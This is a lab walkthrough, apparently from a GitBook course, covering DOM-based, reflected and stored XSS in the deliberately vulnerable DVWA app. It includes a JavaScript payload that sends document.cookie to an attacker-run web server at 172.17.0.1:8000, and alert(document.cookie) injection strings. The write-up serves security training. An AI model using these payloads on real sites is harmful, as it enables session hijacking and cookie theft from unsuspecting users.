# DVWA Exercises 8

### 15 DOM Based XSS

Document Object Model-based Cross-site Scripting (DOM-based XSS) is a lesser-known form of XSS. It's different from reflected and stored XSS because **the exploit happens entirely on the client-side(!)** and does not conceptually require a server-side vulnerability.

<div align="left"><img src="https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MfT0VPyK6X13Egd9pzy%2Fuploads%2FUv7wnewmZn4cpAUOA8kf%2Fdom_xss01.png?alt=media&#x26;token=e23cfb66-de48-438a-916b-4db748f3a537" alt=""></div>

<div align="left"><img src="https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MfT0VPyK6X13Egd9pzy%2Fuploads%2F4bVrzrzzSuie4pwLICey%2Fdom_xss02.png?alt=media&#x26;token=71c0098f-9efc-4797-ab12-c8b8db7fb791" alt=""></div>

<div align="left"><img src="https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MfT0VPyK6X13Egd9pzy%2Fuploads%2FSXehZG2MT3MiWpJNWCB3%2Fdom_xss04.png?alt=media&#x26;token=48a82f77-b9da-4c2b-bd47-b44033840b01" alt=""></div>

<div align="left"><img src="https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MfT0VPyK6X13Egd9pzy%2Fuploads%2FuddKmV1qlvrdceXCmITd%2Fdom_xss05.png?alt=media&#x26;token=7584731d-465f-47c5-8a9c-7199533294ec" alt="Popup from scipt alert(1)"></div>

The manipulation of the URL happens only client-side. Now let's try to inject a code that will send the cookie to the attacker.

The attacker will start a webserver with a script called dom.js

<div align="left"><img src="https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MfT0VPyK6X13Egd9pzy%2Fuploads%2FV0OxcFDCn6KtuXTMqnbw%2Fdom_xss03.png?alt=media&#x26;token=42f1e29b-c462-4282-9acd-6d2749e28a76" alt=""></div>

```
function getIMAGE() {
	var img = document.createElement('img');
	img.src='http://172.17.0.1:8000/' + document.cookie;
	document.body.appendChild(img);
}
getIMAGE();
```

Let's execute the attacker payload:

<div align="left"><img src="https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MfT0VPyK6X13Egd9pzy%2Fuploads%2Fqc6HFXBZbmpSmIwO3NMe%2Fdom_xss06.png?alt=media&#x26;token=14629ecd-5543-4ae4-86c9-b6b505e37181" alt=""></div>

![](https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MfT0VPyK6X13Egd9pzy%2Fuploads%2FIc00duozMT3d4bCq6upX%2Fdom_xss07.png?alt=media\&token=e0f1d16e-d919-4397-8b73-937bac9be783)

### 16 Reflected XSS

<div align="left"><img src="https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MfT0VPyK6X13Egd9pzy%2Fuploads%2Fl4aFavWqZFrXYmCVzfoC%2Fref_xss01.png?alt=media&#x26;token=421cc19a-762b-43c4-ae1f-5f7dd9a93e3e" alt=""></div>

When you submit something through a form and the website displays what you have written in plain text, that input could potentially be vulnerable to Reflected XSS. This only works if the **input** **isn't escaped** and is displayed as-is.

The real gem of this attack is that the source of your script is technically the target website itself because your input is reflected by the website. So, to the browser, the script looks like it came from the website itself and thus must be secure.

<div align="left"><img src="https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MfT0VPyK6X13Egd9pzy%2Fuploads%2FYbDE8BySoBzudCWjLfa2%2Fref_xss02.png?alt=media&#x26;token=99da8492-26c7-4cc9-ad3e-6348cba7233f" alt=""></div>

<div align="left"><img src="https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MfT0VPyK6X13Egd9pzy%2Fuploads%2F9vkxJJtH3KzuU9B7hSmw%2Fref_xss03.png?alt=media&#x26;token=8b4f10b5-06ad-4a81-8282-84cb70269ea4" alt=""></div>

```
<script>alert(document.cookie)</script>
```

<div align="left"><img src="https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MfT0VPyK6X13Egd9pzy%2Fuploads%2FBWhPFyj7csUFtD4WO1He%2Fref_xss04.png?alt=media&#x26;token=c9543a2d-ddbc-4c20-bb7a-c4d9370ce3d4" alt=""></div>

### 17 Stored XSS

If you are able to store your malicious HTML in the server's database - it's called Stored XSS.

Consider a social media site where you can post your comments or thoughts. If this input and/or the displaying of the text is not protected you can submit a text like `<script>alert('Hello there!')</script>`. Anyone who visits the site and views your comment would get a pop-up alert on their browser with the message "Hello there!".

<div align="left"><img src="https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MfT0VPyK6X13Egd9pzy%2Fuploads%2FBa0pvmtq33R5jB5GYtt1%2Fstored_xss01.png?alt=media&#x26;token=afe6366b-c3cc-4e74-8aad-1b1603786c2f" alt=""></div>

Let's put in the following attack payload:

```
<script>alert(document.cookie)</script>
```

<div align="left"><img src="https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MfT0VPyK6X13Egd9pzy%2Fuploads%2FTlxPhfnKw1dhKmc76Zvf%2Fstored_xss02.png?alt=media&#x26;token=81b180bd-dfe8-4263-954d-93130ece90b9" alt=""></div>

This script is now permanently stored in the database and will be executed for every visitor!
